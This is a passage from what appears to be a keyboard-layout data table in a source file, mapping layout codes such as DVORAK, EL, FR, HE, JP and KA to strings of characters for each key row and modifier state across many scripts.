['abcdefghijklmnopqrstuvwxzy1234567890\\'^ü¨$öä§,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXZY+\"*ç%&/()=?`è!£éà°;:_>', '    €                     ¦@#°§¬|¢  ´~[]} {    \\\\'],\n\t\t\t\"DV_P\": ['ަބޗދެފގހިޖކލމނޮޕްރސތުވއ×ޔޒ1234567890-=][\\\\؛\\'`،./ ', 'ާޞޝޑޭ ޣޙީޛޚޅޟޏޯ÷ޤޜށޓޫޥޢޘޠޡ!@#$%^&*)(_+}{|:\"~><؟ ', '                                         ;  ,   '],\n\t\t\t\"DV_T\": ['ިޅސްާަެވމއނކބދތހޫީުޭރޔޮޑގޒ1234567890-=ލ[]ފ `ށޓޯ\\\\', '<ޟޏ.“،\"ޥޣޢޘޚޝޛޠޙ×/>:ޜޗ’ޕޤޖ!@#$%^&*)(_+÷{}ޡ؛~\\\\ޞ؟|', '     ,                                    ;     '],\n\t\t\t\"DVORAK\": ['axje.uidchtnmbrl\\'poygk,qf;1234567890[]/=\\\\s-`wvz ', 'AXJE>UIDCHTNMBRL\"POYGK<QF:!@#$%^&*(){}?+|S_~WVZ '],\n\t\t\t\"DVORAK_L\": ['-wgcbdthoeazin.6;ykusvqxr\\'[]/pfmlj43215=\\\\87`,09 ', '_WGCBDTHOEAZIN>^:YKUSVQXR\"{}?PFMLJ$#@!%+|*&~<)( '],\n\t\t\t\"DVORAK_R\": ['7ixzqaehutdcwnyb5.8os,60r91234jlmfp/[];=\\\\k-`vg\\' ', '&IXZQAEHUTDCWNYB%>*OS<^)R(!@#$JLMFP?{}:+|K_~VG\" '],\n\t\t\t\"DZ\": ['ཏརའདགནཔཕོབམཙཤལཅཆཀངཐིེཡཁཟུཞ༡༢༣༤༥༦༧༨༩༠༔།ཇཉཝཚཛ༉སཧཨ ', 'ྟྲཱྡྒྣྤྥཽྦྨྩྴླྕྖྐྔྠྀཻྱྑྯ྄ྮ༄༅༆ ༎༈༸༴༼༽ཿ༑ྗྙྭྪྫ༊ྶྷྸ ', 'ཊཪ༃ཌྌཎ  ༝༷ཾ༹ཥ༒༞༟ྈྃཋ༚༜༏ྉ྾༛༓1234567890-=()\\\\;\\'࿑,./ ', 'ྚྼྰྜྏྞ  ༗༵྇྆ྵ ༘༙ྍྂྛ  ྻྎ྿ ༶࿓࿔༺༻྅༁ྊ*  ࿒+༿༾ྺ:\"࿐࿙࿚? '],\n\t\t\t\"EL\": ['αβψδεφγηιξκλμνοπ;ρστθωςχυζ1234567890-=[]\\\\΄\\'`,./ ', 'ΑΒΨΔΕΦΓΗΙΞΚΛΜΝΟΠ:ΡΣΤΘΩ΅ΧΥΖ!@#$%^&*()_+{}|¨\"~<>? ', '  © €            ®      ¥  ²³£§¶ ¤¦°±½«»¬΅      '],\n\t\t\t\"EL_220\": ['αβψδεφγηιξκλμνοπ;ρστθωςχυζ1234567890\\']+}#΄¨½,.-<', 'ΑΒΨΔΕΦΓΗΙΞΚΛΜΝΟΠ:ΡΣΤΘΩ~ΧΥΖ!\"£$%&/()=?[*{@¨΅±;:_>', '  © €            ®      ¥  ²³£§¶ ¤¦°±½«»¬΅΅     '],\n\t\t\t\"EL_220L\": ['abcdefghijklmnopqrstuvwxyz1234567890\\']+}#΄¨\\\\,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&/()=?[*{@¨΅|;:_>', '    €                      ²³£§¶ ¤¦°±½«»¬΅΅     '],\n\t\t\t\"EL_319\": ['αβψδεφγηιξκλμνοπ·ρστθωςχυζ1234567890\\'+[]²΄’½,.-§', 'ΑΒΨΔΕΦΓΗΙΞΚΛΜΝΟΠ―ΡΣΤΘΩ¦ΧΥΖ!\"£$%¬/()=°*«»³¨‘±;:_©', '                                         ΅      '],\n\t\t\t\"EL_319L\": ['abcdefghijklmnopqrstuvwxyz1234567890\\'+[]`´^\\\\,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&/()=?*{}@¨~|;:_>', '    €                                           '],\n\t\t\t\"EL_L\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;\\'`,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>? ', 'á ©ðé   í  øµñóöä®ßþú å üæ¡²³¤€¼½¾‘’¥×«»¬¶´ ç ¿ ', 'Á ¢ÐÉ   Í  Ø ÑÓÖÄ §ÞÚ Å ÜÆ¹  £       ÷  ¦°¨ Ç   '],\n\t\t\t\"EL_P\": ['αβψδεφγηιξκλμνοπ;ρστθωςχυζ1234567890-=[]\\\\΄\\'~,./ ', 'ΑΒΨΔΕΦΓΗΙΞΚΛΜΝΟΠ:ΡΣΤΘΩ΅ΧΥΖ!@#$%^&*()_+{}|¨\"`<>? ', '  © €           ´®      ¥ ϚϞϠ£§¶ ¤¦°±½«»¬΅᾿῁  ι ', '                           ²³        ῟ ·῝ ῾   ῞ '],\n\t\t\t\"ES\": ['abcdefghijklmnopqrstuvwxyz1234567890\\'¡`+çñ´º,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"·$%&/()=?¿^*ÇÑ¨ª;:_>', '                          |@#  ¬      []} {\\\\   ²'],\n\t\t\t\"ES_A\": ['abcdefghijklmnopqrstuvwxyz1234567890-¨÷`´ñç\\',.=<', 'ABCDEFGHIJKLMNOPQRSTUVWXYZª\"/()¡!¿?₧+¨×`´ÑÇ·;:%>', '$  @€[]| £±       &       |@#¼½¬_#§\\\\*~[]}~{\\\\ ^ ²'],\n\t\t\t\"ET\": ['abcdefghijklmnopqrstuvwxyz1234567890+´üõ\\'öäˇ,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#¤%&/()=?`ÜÕ*ÖÄ~;:_>', '    €             š      ž @£$€ {[]}\\\\  §½ ^    |', '                  Š      Ž                      '],\n\t\t\t\"FA\": ['شذزیثبلاهتنمئدخحضقسفعرصطغظ1234567890-=جچپکگ÷و./پ', 'َإژٍِّۀآ]ـ«»ءأ[\\\\ً ُ،,ؤٌي؛ة!@#$%^&*)(_+}{|:\"×<>؟|', '                                   ہ            '],\n\t\t\t\"FA_S\": ['شذزیثبلاهتنمپدخحضقسفعرصطغظ۱۲۳۴۵۶۷۸۹۰-=جچ\\\\کگ و./ ', 'ؤ ژيٍإأآّة»«ءٔ][ًْئٌَُٰطِك!٬٫ ٪×،*)(ـ+}{|:؛ ><؟ '],\n\t\t\t\"FI\": ['abcdefghijklmnopqrstuvwxyz1234567890+´å¨\\'öä§,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#¤%&/()=?`Å^*ÖÄ½;:_>', '    €       µ              @£$€ {[]}\\\\  ~       |'],\n\t\t\t\"FI_S\": ['abcdefghijklmnopqrstuvwxyz1234567890+´å¨\\'öä§,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#¤%&/()=?`Å^*ÖÄ½;:_>', 'áʒčđ€ǥǧȟï ǩ µŋõ â šŧ ǯ   ž @£$€ {[]}\\\\  ~ øæ    |', 'ÁƷČĐ ǤǦȞÏ Ǩ  ŊÕ Â ŠŦ Ǯ   Ž               ØÆ     '],\n\t\t\t\"FO\": ['abcdefghijklmnopqrstuvwxyz1234567890+´åð\\'æø½,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#¤%&/()=?`ÅÐ*ÆØ§;:_>', '    €       µ              @£$€ {[]} |¨~  ^    \\\\'],\n\t\t\t\"FR\": ['qbcdefghijkl,noparstuvzxyw&é\"\\'(-è_çà)=^$*mù²;:!<', 'QBCDEFGHIJKL?NOPARSTUVZXYW1234567890°+¨£µM% ./§>', '    €                      ~#{[|`\\\\^@]} ¤        '],\n\t\t\t\"FR_CH\": ['abcdefghijklmnopqrstuvwxzy1234567890\\'^è¨$éà§,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXZY+\"*ç%&/()=?`ü!£öä°;:_>', '    €                     ¦@#°§¬|¢  ´~[]} {    \\\\'],\n\t\t\t\"FTHRK\": ['ᚨᛒ ᛞᛖᚠᚷᚺᛁᛃᚲᛚᛗᚾᛟᛈᚦᚱᛊᛏᚢ ᚹ ᛇᛉ      ᛮᛯᛰ0    \\\\ᛜᛝᚻ᛫᛬᛭ ', 'ᚬ      ᚼ ᛅᚴ ᛘ    ᛦᛋ                     |       '],\n\t\t\t\"GD\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]#;\\'`,./\\\\', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"£$%^&*()_+{}~:@`<>?|', 'á   é   í     ó     ú   ý    €            \\'¦   ²', 'Á   É   Í     Ó     Ú   Ý                  ¬    '],\n\t\t\t\"GL\": ['abcdefghijklmnopqrstuvwxyz1234567890+´å¨\\'æø½,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#¤%&/()=?`Å^*ÆØ§;:_>', '   ð€     ĸ µ  þ  ß        @£$€ {[]} | ~       \\\\', '   Ð           Þ                                '],\n\t\t\t\"GN\": ['abcdefghijklmnopqrstuvwxyz1234567890\\'¿´+}ñ{|,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&/()=?¡¨*]Ñ[°;:_>', 'ã   ẽ   ĩ     õ @   ũ   ỹ           \\\\  ~` ^¬   ²', 'Ã   Ẽ   Ĩ     Õ     Ũ   Ỹ                       '],\n\t\t\t\"GOTHIC\": ['ဳ0ဳ1ဳ8ဳ3ဳ4ဴ6ဳ2ဳ7ဳ9ဳeဳaဳbဳcဳdဴ9ဴ0ဳ5ဴ2ဴ3ဴ4ဳfဴ8ဴ5ဴ7 ဳ61234567890-=ဴ1ဴa̅:\\' ,.· ', '                          !@#$%^&*()_+[]\\\\;\"~<>/ '],\n\t\t\t\"GU\": ['ોવમ્ાિુપગરકતસલદજૌીેૂહનૈંબ 1234567890-ૃડ઼ૉચટ ,.ય ', 'ઓ ણઅઆઇઉફઘ ખથશળધઝઔઈએઊઙ ઐઁભ ઍૅ      ()ઃઋઢઞઑછઠ ષ।  ', '                       ૐ  ૧૨૩૪૫૬૭૮૯૦ ૄ       ॥  ', '                                     ૠ       ઽ  '],\n\t\t\t\"HA\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;\\'`,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>? ', ' ɓ ɗ      ƙ             ƴ     €   ‘’     ¶’     ', ' Ɓ Ɗ      Ƙ             Ƴ               ¦       '],\n\t\t\t\"HAWAII\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;ʻ`,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>? ', 'ā   ē   ī     ō     ū                     \\'     ', 'Ā   Ē   Ī     Ō     Ū                     \"     '],\n\t\t\t\"HE\": ['שנבגקכעיןחלךצמםפ/רדאוה\\'סטז1234567890-=][\\\\ף,;תץ. ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*)(_+}{|:\"~><? ', '    €  ײ ױ          װ        ₪      ֿ           '],\n\t\t\t\"HE_S\": ['שנבגקכעיןחלךצמםפ/רדאוה\\'סטז1234567890-=][\\\\ף,;תץ. ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*)(_+}{|:\"~><? ', 'ְ ֱ ָ ױײ ִ ”ֵ  ֳַּׂ ֹ ֶׁװ   €₪°ֽ֫×  ־–ֲֻֿ„״׳’‚÷ ', ' ׆͏        “        ֺ                    ”  ‘’  '],\n\t\t\t\"HI\": ['ोवम्ािुपगरकतसलदजौीेूहनैंब 1234567890-ृड़ॉचट ,.यॉ', 'ओ णअआइउफघऱखथशळधझऔईएऊङ ऐँभ ऍॅ ₹    ()ःऋढञऑछठ ष।य़ऑ', '                          १२३४५६७८९०-=[]\\\\;\\'`,./²', '                       ॐ  !@#$%^&*()_+{}|:\"~<>? '],\n\t\t\t\"HR\": ['abcdefghijklmnopqrstuvwxzy1234567890\\'+šđžčć¸,.- ', 'ABCDEFGHIJKLMNOPQRSTUVWXZY!\"#$%&/()=?*ŠĐŽČĆ¨;:_ ', ' {  €[]   łŁ§}  \\\\    @|   ~ˇ^˘°˛`˙´˝¨¸÷×¤ ß <>  '],\n\t\t\t\"HU\": ['abcdefghijklmnopqrstuvwxzy123456789öüóőúűéá0,.-í', 'ABCDEFGHIJKLMNOPQRSTUVWXZY\\'\"+!%/=()ÖÜÓŐÚŰÉÁ§?:_Í', 'ä{&ĐÄ[] ÍíłŁ<}  \\\\ đ €@|# >~ˇ^˘°˛`˙´˝¨¸÷×¤$ß ;>*<'],\n\t\t\t\"HU_101\": ['abcdefghijklmnopqrstuvwxyz123456789öüóőúűéáí,.-í', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ\\'\"+!%/=()ÖÜÓŐÚŰÉÁÍ?:;Í', 'ä{&ĐÄ[] ÍíłŁ<}  \\\\ đ  @|# >~ ^   ` ´   ÷×\\\\$ß0;>_<'],\n\t\t\t\"HY\": ['աբգդէֆքհիճկլմնոպխրստըվւցեզ:ձյ՛,-.«»օռժչջ\\'թփ՝շղծ ', 'ԱԲԳԴԷՖՔՀԻՃԿԼՄՆՈՊԽՐՍՏԸՎՒՑԵԶ1ՁՅ349և()ՕՌԺՉՋ՞ԹՓ՜ՇՂԾ '],\n\t\t\t\"HY_P\": ['աբցդեֆգհիյկլմնօպքռստւվողըզէթփձջւևրչճ-ժխծշ;՛՝,․/»', 'ԱԲՑԴԵՖԳՀԻՅԿԼՄՆՕՊՔՌՍՏՒՎՈՂԸԶԷԹՓՁՋՒևՐՉՃ—ԺԽԾՇ։\"՜<>՞«', '                          1234567890-=[]\\\\;\\'`,./²', '                          !@#$%^&*()_+{}|:\"~<>? '],\n\t\t\t\"HY_T\": ['ջզչգբեանկիտհքլըթճսվմւյփդոժֆձ-,։՞․՛)օէղծց»պր՝խշռ ', 'ՋԶՉԳԲԵԱՆԿԻՏՀՔԼԸԹՃՍՎՄՒՅՓԴՈԺՖՁ ֏֊—և՚(ՕԷՂԾՑ«ՊՐ՜ԽՇՌ ', '                          1234567890-=[]\\\\;\\'`,./ ', '                          !@#$%^&*()_+{}|:\"~<>? '],\n\t\t\t\"HY_W\": ['ապգտէֆկհիճքլմնոբխրսդըւվցեզ:ձյ՛,-.«»օռժչջ\\'թփ՝շղծ ', 'ԱՊԳՏԷՖԿՀԻՃՔլՄՆՈԲԽՐՍԴԸՒՎՑԵԶ1ՁՅ349և()ՕՌԺՉՋ՞ԹՓ՜ՇՂԾ '],\n\t\t\t\"IE\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]#;\\'`,./\\\\', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"£$%^&*()_+{}~:@¬<>?|', 'á   é   í     ó     ú        €            ´¦   ²', 'Á   É   Í     Ó     Ú                     `¦    '],\n\t\t\t\"IG\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;\\'`,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>? ', '        ị    ṅọ     ụ         €   ‘’    ¦¶´     ', '        Ị    ṄỌ     Ụ                           '],\n\t\t\t\"IN_EN\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;\\'`,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>? ', 'ā  ḍē ṅḥī   ṁṇō æ śṭū  ṣñ    ₹      -           ', 'Ā  ḌĒ ṄḤĪ   ṀṆŌ Æ ŚṬŪ  ṢÑ    ₹ ˆ  ˘ ˍ           '],\n\t\t\t\"IN_SD\": ['ोवम्ािुपगरकतसलदजौीेूहनैंबॆ1234567890-ृड़ॉचटॊ,.यॉ', 'ओऴणअआइउफघऱखथशळधझऔईएऊङऩऐँभऎऍॅ      ()ःऋढञऑछठऒष।य़ऑ', '  ॔  ॢ  ग़ क़    ज़ ॣ       ॓१२३४५६७८९० ॄड़  ॒  ॰॥ ²', '     ऌ फ़  ख़      ॡ     ॐ             ॠढ़   ॑  ऽ  '],\n\t\t\t\"IS\": ['abcdefghijklmnopqrstuvwxyz1234567890ö-ð\\'+æ´°,.þ<', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&/()=Ö_Ð?*Æ\\'¨;:Þ>', '            µ   @               {[]}\\\\  ~` ^°   |'],\n\t\t\t\"IT\": ['abcdefghijklmnopqrstuvwxyz1234567890\\'ìè+ùòà\\\\,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"£$%&/()=?^é*§ç°|;:_>', '                                      [] @#    ²', '                                      {}        '],\n\t\t\t\"IT_142\": ['abcdefghijklmnopqrstuvwxyz1234567890\\'ìè+ùòà\\\\,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"£$%&/()=?^é*§ç°|;:_>', '    €           @           # € {[]}   ~`      ²'],\n\t\t\t\"IT_APPLE\": ['abcdefghijklmnopqrstuvwxyz1234567890\\'ìè+ùòà<,.-\\\\', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"£$%&/()=?^é*§ç°>;:_|', '                                      [] @#    ²', '                                      {}        '],\n\t\t\t\"JP\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;\\'`,./\\\\', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>?|', 'ﾁｺｿｼｲﾊｷｸﾆﾏﾉﾘﾓﾐﾗｾﾀｽﾄｶﾅﾋﾃｻﾝﾂﾇﾌｱｳｴｵﾔﾕﾖﾜﾎﾍﾞﾟﾑﾚｹﾛﾈﾙﾒﾑ', 'ﾁｺｿｼｨﾊｷｸﾆﾏﾉﾘﾓﾐﾗｾﾀｽﾄｶﾅﾋﾃｻﾝｯﾇﾌｧｩｪｫｬｭｮｦｰﾍ｢｣ﾑﾚｹﾛ､｡･ﾑ'],\n\t\t\t\"JP_101\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;\\'`,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>? ', 'ﾁｺｿｼｲﾊｷｸﾆﾏﾉﾘﾓﾐﾗｾﾀｽﾄｶﾅﾋﾃｻﾝﾂﾇﾌｱｳｴｵﾔﾕﾖﾜﾎﾍﾞﾟﾑﾚｹﾛﾈﾙﾒ ', 'ﾁｺｿｼｨﾊｷｸﾆﾏﾉﾘﾓﾐﾗｾﾀｽﾄｶﾅﾋﾃｻﾝｯﾇﾌｧｩｪｫｬｭｮｦｰﾍ｢｣ﾑﾚｹﾛ､｡･ '],\n\t\t\t\"JP_102\": ['abcdefghijklmnopqrstuvwxyz1234567890-^[]\\\\;:@,./\\\\', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\\'() =~{}|+*`<>?_', 'ﾁｺｿｼｲﾊｷｸﾆﾏﾉﾘﾓﾐﾗｾﾀｽﾄｶﾅﾋﾃｻﾝﾂﾇﾌｱｳｴｵﾔﾕﾖﾜﾎﾍﾟﾑｰﾚｹﾞﾈﾙﾒﾛ', 'ﾁｺｿｼｨﾊｷｸﾆﾏﾉﾘﾓﾐﾗｾﾀｽﾄｶﾅﾋﾃｻﾝｯﾇﾌｧｩｪｫｬｭｮｦﾎﾍ｢｣ｰﾚｹﾞ､｡･ﾛ'],\n\t\t\t\"JP_106\": ['abcdefghijklmnopqrstuvwxyz1234567890-^@[];: ,./\\\\', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\\'() =~`{}+* <>?_', 'ﾁｺｿｼｲﾊｷｸﾆﾏﾉﾘﾓﾐﾗｾﾀｽﾄｶﾅﾋﾃｻﾝﾂﾇﾌｱｳｴｵﾔﾕﾖﾜﾎﾍﾞﾟﾑﾚｹ ﾈﾙﾒﾛ', 'ﾁｺｿｼｨﾊｷｸﾆﾏﾉﾘﾓﾐﾗｾﾀｽﾄｶﾅﾋﾃｻﾝｯﾇﾌｧｩｪｫｬｭｮｦﾎﾍﾞ｢｣ﾚｹ ､｡･ﾛ'],\n\t\t\t\"JP_AX2\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;\\'`,./\\\\', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>?|', 'ﾁｺｿｼｲﾊｷｸﾆﾏﾉﾘﾓﾐﾗｾﾀｽﾄｶﾅﾋﾃｻﾝﾂﾇﾌｱｳｴｵﾔﾕﾖﾜﾎﾍﾞﾟｰﾚｹﾑﾈﾙﾒﾛ', 'ﾁｺｿｼｨﾊｷｸﾆﾏﾉﾘﾓﾐﾗｾﾀｽﾄｶﾅﾋﾃｻﾝｯﾇﾌｧｩｪｫｬｭｮｦﾎﾍﾞ｢ｰﾚｹ｣､｡･ﾛ'],\n\t\t\t\"JV\": ['ꦄꦧꦕꦢꦌꦉꦒꦲꦆꦗꦏꦭꦩꦤꦎꦥ ꦫꦱꦠꦈꦊꦮꦔꦪꦚ꧑꧒꧓꧔꧕꧖꧗꧘꧙꧐  []\\\\ꦛꦝ꧋꧈꧉꧀ ', 'ꦴꦨꦖꦣꦺꦽꦓꦃꦶꦘꦑ ꦳ꦟ ꦦꦼꦿꦯꦡꦸ  ꦁꦾꦂ ꧏ꧆꧞꧟꧃꧄꧅()  ꧁꧂|ꦜꦞ꧊꧇ ? ', '    ꦍ   ꦇꦙꦐ     ꦅꦬꦰ       12345678  -=     `    ', '    ꦻ   ꦷ     ꦵ     ꦹꦋ ꦀ  !@#$%^&*90_+꧌꧍   ~  / '],\n\t\t\t\"KA\": ['ფმყვუთაპშროლტიწზღკძეგსჯჩნჭ!?№§%:.;,/–=ხც(დჟ„ქბჰ ', 'ფმყვუთაპშროლტიწზღკძეგსჯჩნჭ1234567890-+ხც)დჟ“ქბჰ ', 'ჶ  ჳ         ჲ     ჱ                  ჴ       ჵ '],\n\t\t\t\"KA_E\": ['ხჟყაუეოდნმსრცზვშჩძიჭთღპჰტჯ!№,;%:?.()-“კქ/ბგ„ლფწ\\\\', '                          1234567890+=  §  \\'   /', 'ჴ ჸჺ ჱ  ჼ     ჳ   ჲ  ჷ ჵ  !@#$€^&*()—=[]\\\\ ჹ` ჶ჻²', '  CD    I  LM        V X    §    °«»_ {}| \"~<>  '],\n\t\t\t\"KA_MES\": ['აბცდეფგჰიჯკლმნოპქრსტუვწხყზ1234567890-ჟშღ=თჩჭ,.ძ/', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@№$%^&*()_+[]/:\"\\\\;:??', 'ჺ    ჶჹჱჲჷ   ჼ       ჳ ჴ ჵ\\'~#€  §° —–|«»   `<>჻²'],\n\t\t\t\"KA_O\": ['ⴞⴏⴗⴀⴓⴄⴍⴃⴌⴋⴑⴐⴚⴆⴅⴘⴙⴛⴈⴝⴇⴖⴎⴠⴒⴟ!჻,;%:?.()-“ⴉⴕ/ⴁⴂ„ⴊⴔⴜ\\\\', 'ႾႯႷႠႳႤႭႣႬႫႱႰႺႦႥႸႹႻႨႽႧႶႮჀႲႱ1234567890+=ႩႵ§ႡႢ\\'ႪႴႼ/', 'ⴤ ჸჺ ⴡ  ჼ     ჳ   ⴢ   №ⴥ  !@#$€^&*()—=[]\\\\ ჹ` ჶ჻²', 'Ⴤ    Ⴡ                      §    °«»_ {}| \"~ >  '],\n\t\t\t\"KA_Q\": ['აბცდეფგჰიჯკლმნოპქრსტუვწხყზ1234567890-=[]~;\\'„,./\\\\', '  ჩ      ჟ ₾ N   ღშთ  ჭ  ძ!@#$%^&*()_+{}|:\"“<>? ', 'ჺ © ჱჶჹჵჲჷ   ჼ   ®   ჳ ჴჸ  „“ €  °  —–      «»჻ '],\n\t\t\t\"KH\": ['ាបចដេថងហិញកលមនោផឆរសតុវឹខយឋ១២៣៤៥៦៧៨៩០-=ើឿ\\\\ៈ់ អ។  ', 'ៃពជឌែធ ះី គឡំណៅភឈឬ ទូ ឺឃួឍ!ៗ៊៛័៌៍៏៎៑_+ ៀ/៖៉ ,.? ', '            ’             ₭€₫₣¥ £  —•   /:«฿<>” ', 'ឩ%& ឯ   ឥឮឭឰ)(ឱឳ*ឫឪឦឧ$ @ #1234567890{}[]៚;៝៙‹›៕ '],\n\t\t\t\"KK\": ['фисвуапршолдьтщзйкыегмцчня\"әіңғ,.үұқөһхъ\\\\жэ(бю№\\\\', 'ФИСВУАПРШОЛДЬТЩЗЙКЫЕГМЦЧНЯ!ӘІҢҒ;:ҮҰҚӨҺХЪ/ЖЭ)БЮ?|'],\n\t\t\t\"KM\": ['ាបចដេថងហិ្កលមនោផឆរសតុវឹខយឋ១២៣៤៥៦៧៨៩០ឥឲៀឪឮើ់« ។៊ ', ' ពជឌែធអះីញគឡំណៅភឈឬៃទូ ឺឃួឍ!ៗ\"៛%៍័៏()៌=ឿឧឭ ៉» ៕? ', '    ឯ   ឦ     ឱឰ ឫ         @៑$€៙៚*{}×៎ឩឳ\\\\៖ៈ ,./ '],\n\t\t\t\"KN\": ['ೋವಮ್ಾಿುಪಗರಕತಸಲದಜೌೀೇೂಹನೈಂಬೆ1234567890-ೃಡ  ಚಟೊ,.ಯ ', 'ಓ ಣಅಆಇಉಫಘಱಖಥಶಳಧಝಔಈಏಊಙ ಐ ಭಎ        ()ಃಋಢಞ ಛಠಒಷ|  ', '                  ೕ   ೖ   ೧೨೩೪೫೬೭೮೯೦ ೄ          ', '     ಌ ೞ         ೡ           ₹       ೠ          '],\n\t\t\t\"KO\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;\\'`,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>? '],\n\t\t\t\"KO_103\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;\\'`,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>? '],\n\t\t\t\"KU\": ['ابجدەفگهحژکلمنۆپقرستئڤوخیز١٢٣٤٥٦٧٨٩٠-=][\\\\؛\\'`،./ ', 'آىچذيإغ عأكڵـةؤث`ڕشطءظ صێض!@#$٪^&*)(_+}{|:\"~><؟ '],\n\t\t\t\"KY\": ['фисвуапршолдьтщзйкыегмцчня1234567890-=хъ\\\\жэёбю. ', 'ФИСВУАПРШОЛДЬТЩЗЙКЫЕГМЦЧНЯ!\"№;%:?*()_+ХЪ/ЖЭЁБЮ, ', '    ү    ө              ң                       ', '    Ү    Ө              Ң                       '],\n\t\t\t\"LA\": ['abcdefghijklmnopqrstuvwxyz1234567890\\'¿´+}ñ{|,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&/()=?¡¨*]Ñ[°;:_>', '                @                   \\\\  ~` ^¬   ²'],\n\t\t\t\"LISU\": ['ꓮꓐꓚꓷꓰꓝꓖꓧꓲꓙꓗꓡꓟꓠꓳꓑꓱꓣꓢꓔꓴꓦꓪꓫꓬꓜꓭꓷꓶꓛꓒꓨꓘꓕꓞꓩꓵ=[]\\\\ꓯʼ`ꓥꓤ? ', '@$&( ) ꓿꓾ꓽꓼ‐!*ˍ^Q  #ꓻ% > <1234567890_+{}|ꓺ\"~,./ '],\n\t\t\t\"LISU_B\": ['ꓮꓐꓚꓓꓰꓝꓖꓧꓲꓙꓗꓡꓟꓠꓳꓑQꓣꓢꓔꓴꓦꓪꓫꓬꓜ1234567890‐꓿[]\\\\ꓼʼ`,./ ', 'ꓯꓭꓛꓷꓱꓞꓨꓺ꓾ꓩꓘꓶ  ˍꓒ ꓤ ꓕꓵꓥ  ꓻ !@#$%^&*()_+{}|ꓽ\"~<>? '],\n\t\t\t\"LK411_AJ\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;\\'`,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>? ', 'ﾁｺｿｼｲﾊｷｸﾆﾏﾉﾘﾓﾐﾗｾﾀｽﾄｶﾅﾋﾃｻﾝﾂﾇﾌｱｳｴｵﾔﾕﾖﾜﾎﾍﾛﾑ｢ﾚｹ`ﾈﾙﾒ ', 'ﾁｺｿｼｨﾊｷｸﾆﾏﾉﾘﾓﾐﾗｾﾀｽﾄｶﾅﾋﾃｻﾝｯﾇﾌｧｩｪｫｬｭｮｦﾎﾍﾞﾟ｣ﾚｹ~､｡･ '],\n\t\t\t\"LK411_JJ\": ['abcdefghijklmnopqrstuvwxyz1234567890-^@[];: ,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\\'() =~`{}+* <>?_', 'ﾁｺｿｼｲﾊｷｸﾆﾏﾉﾘﾓﾐﾗｾﾀｽﾄｶﾅﾋﾃｻﾝﾂﾇﾌｱｳｴｵﾔﾕﾖﾜﾎﾍﾞﾟﾑﾚｹ ﾈﾙﾒﾛ', 'ﾁｺｿｼｨﾊｷｸﾆﾏﾉﾘﾓﾐﾗｾﾀｽﾄｶﾅﾋﾃｻﾝｯﾇﾌｧｩｪｫｬｭｮｦﾎﾍﾞ｢｣ﾚｹ ､｡･ﾛ'],\n\t\t\t\"LO\": ['ັຶແກຳດເ້ຮ່າສທືນຍົພຫະີອໄປິຜຢຟໂຖຸູຄຕຈຂຊໍບລ/ວງ\"ມໃຝ ', '  ຯ.*,:໊ຣ໋!?ໆ ໜຽ _;+ x0( ₭1234໌ຼ56789 - \\\\%=\\'ໝ$) ', '                          ໑໒໓໔໕໖໗໘໙໐            '],\n\t\t\t\"LT\": ['abcdefghijklmnopqrstuvwxyząčęėįšųū90-ž[]\\\\;\\'`,./ ', 